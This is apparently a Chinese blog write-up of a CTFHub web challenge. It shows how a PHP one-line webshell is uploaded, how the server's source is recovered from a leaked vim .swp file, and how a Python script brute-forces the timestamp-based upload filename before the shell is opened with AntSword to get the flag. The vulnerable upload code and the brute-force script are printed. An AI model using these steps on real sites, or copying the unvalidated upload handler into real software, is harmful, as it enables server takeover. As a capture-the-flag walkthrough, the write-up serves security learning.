CTFHub_2017-赛客夏令营-Web-Uploadddd(.swp源码泄露、文件上传)

场景打开如下,是一个上传功能

尝试上传一句话木马,成功

但是上传的文件路径不知道

通过目录扫描发现文件.index.php.swp,关于.swp格式文件是异常退出时linux生成的,具体可以百度

使用vim打开

vim -r index.php.swp

查看源码

<?php
if (isset($_POST['submit'])){
    $file_path = "uploads/";
    $file_name = date("YmdHis") . rand(0,999) . ".php";
    move_uploaded_file($_FILES["file"]["tmp_name"], $file_path . $file_name);
    echo "上传成功!";
}

发现文件上传后,保存目录为uploads/,文件名为 服务器当前时间+1000以内随机数.php

根据上图可知,上传木马时间为20220221061306

直接写python脚本爆破文件名

# __author__ = Zhengna
from requests import *
info = ''
for i in range(0,1000):
    url = 'http://challenge-c6c02710cc1e265e.sandbox.ctfhub.com:10800/uploads/20220221061306' + str(i) + '.php'
    resp = get(url)
    print(url+"----"+str(resp.status_code))
    if resp.status_code == 200:
        break

成功得到文件上传路径

使用蚁剑连接,成功拿到flag。

posted @ 2022-02-24 09:04  zhengna  阅读(164)  评论(0编辑  收藏  举报